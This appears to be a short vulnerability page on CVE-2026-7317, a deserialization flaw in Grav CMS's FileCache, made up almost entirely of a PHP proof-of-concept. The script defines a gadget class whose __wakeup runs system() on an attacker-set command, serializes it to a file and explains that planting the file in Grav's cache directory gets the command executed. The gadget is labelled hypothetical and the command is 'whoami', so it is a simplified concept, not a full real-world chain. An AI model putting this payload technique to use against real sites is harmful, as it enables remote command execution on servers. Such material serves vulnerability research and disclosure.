CVE-2026-7317 Grav CMS FileCache反序列化漏洞

<?php // PoC Concept for CVE-2026-7317 // Generating a malicious payload to be written to the cache file // Hypothetical Gadget Class (e.g., from a library used by Grav) class VulnerableClass { public $cmd; function __wakeup() { system($this->cmd); // Arbitrary Command Execution } } // Create the payload $gadget = new VulnerableClass(); $gadget->cmd = 'whoami'; // Command to execute $serialized_payload = serialize($gadget); // Simulation: An attacker would save this string to a valid cache file // path inside Grav's cache directory (e.g., cache/3/3d/...) // that is later read by FileCache::doGet(). file_put_contents('exploit_cache.bin', $serialized_payload); echo "Payload generated: " . $serialized_payload . "\n"; echo "If this file is placed in a valid cache location and loaded, the command will execute.\n"; ?>